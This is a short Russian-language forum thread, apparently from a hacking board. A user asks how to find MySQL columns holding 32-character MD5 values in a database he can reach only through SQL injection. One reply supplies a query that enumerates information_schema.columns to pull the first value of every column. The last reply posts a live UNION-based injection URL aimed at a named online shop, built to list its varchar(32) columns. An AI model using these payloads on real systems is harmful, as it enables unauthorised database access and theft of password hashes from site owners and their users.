 |

26.12.2015, 20:46
|
|
Познающий
Регистрация: 26.12.2015
Сообщений: 34
С нами:
5464406
Репутация:
2
|
|
Всем привет. подскажите можно ли составить следующий запрос к бд mysql: необходимо узнать имя колонки, длина содержимого которой равна определенному кол-ву символов. или название таблицы где эта колонка находится. как пример допустим мы знаем что нужное нам значение хранится в мд5 где 32 символа, но не знаем как колонка называется и столбец. возможно такой запрос составить?
|
|
|

27.12.2015, 03:26
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами:
9721141
Репутация:
1013
|
|
нет.
|
|
|

27.12.2015, 06:37
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
С нами:
8417113
Репутация:
0
|
|
В рамках одного SELECT запроса - официально нельзя. Неофициально - сейчас только если файлы читать и самим их парсить. В рамках нескольких запросов - можно.
Код:
SET @sql := '(SELECT null as `col_name`, null as `col_value` LIMIT 0) ';
SELECT isnull(@sql := concat(@sql, concat(' UNION (SELECT "', @col_name:=concat(@tbl_name:=concat(t.TABLE_SCHEMA, '.', t.TABLE_NAME), '.', t.COLUMN_NAME),'", (SELECT ', @col_name, ' FROM ', @tbl_name, ' LIMIT 1))'))) as `sql_is_null`, count(*) FROM information_schema.columns t GROUP BY 1;
SET @sql := concat('SELECT col_name, col_value FROM (', @sql, ') t WHERE length(col_value) = 32;');
PREPARE stmt FROM @sql;
EXECUTE stmt;
Если нет доступа к БД - вместо PREPARE и EXECUTE можно самим заслать полученный запрос. Работать будет долго. Запрос смотрит только на первую запись (иначе много мусора и работает намного дольше). Если есть ограничения на длину - засылать придется по частям.
|
|
|

27.12.2015, 13:10
|
|
Познающий
Регистрация: 26.12.2015
Сообщений: 34
С нами:
5464406
Репутация:
2
|
|
Сообщение от XAMEHA
↑
В рамках одного SELECT запроса - официально нельзя. Неофициально - сейчас только если файлы читать и самим их парсить. В рамках нескольких запросов - можно.
Код:
SET @sql := '(SELECT null as `col_name`, null as `col_value` LIMIT 0) ';
SELECT isnull(@sql := concat(@sql, concat(' UNION (SELECT "', @col_name:=concat(@tbl_name:=concat(t.TABLE_SCHEMA, '.', t.TABLE_NAME), '.', t.COLUMN_NAME),'", (SELECT ', @col_name, ' FROM ', @tbl_name, ' LIMIT 1))'))) as `sql_is_null`, count(*) FROM information_schema.columns t GROUP BY 1;
SET @sql := concat('SELECT col_name, col_value FROM (', @sql, ') t WHERE length(col_value) = 32;');
PREPARE stmt FROM @sql;
EXECUTE stmt;
Если нет доступа к БД - вместо PREPARE и EXECUTE можно самим заслать полученный запрос. Работать будет долго. Запрос смотрит только на первую запись (иначе много мусора и работает намного дольше). Если есть ограничения на длину - засылать придется по частям.
доступ к бд только посредством sql inj
вот что получилось:
"Если нет доступа к БД - вместо PREPARE и EXECUTE можно самим заслать полученный запрос." - можно поподробней?
|
|
|

27.12.2015, 20:00
|
|
Новичок
Регистрация: 18.05.2015
Сообщений: 4
С нами:
5784086
Репутация:
4
|
|
мб column_type=varchar(32) поможет
Код:
http://www.reddshop.com/product_listing.php?catid=4+and+1=2+union+select+group_concat(table_name,0x3a,column_name)+from+information_schema.columns+where+column_type=0x7661726368617228333229--+
|
|
|
|
 |
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|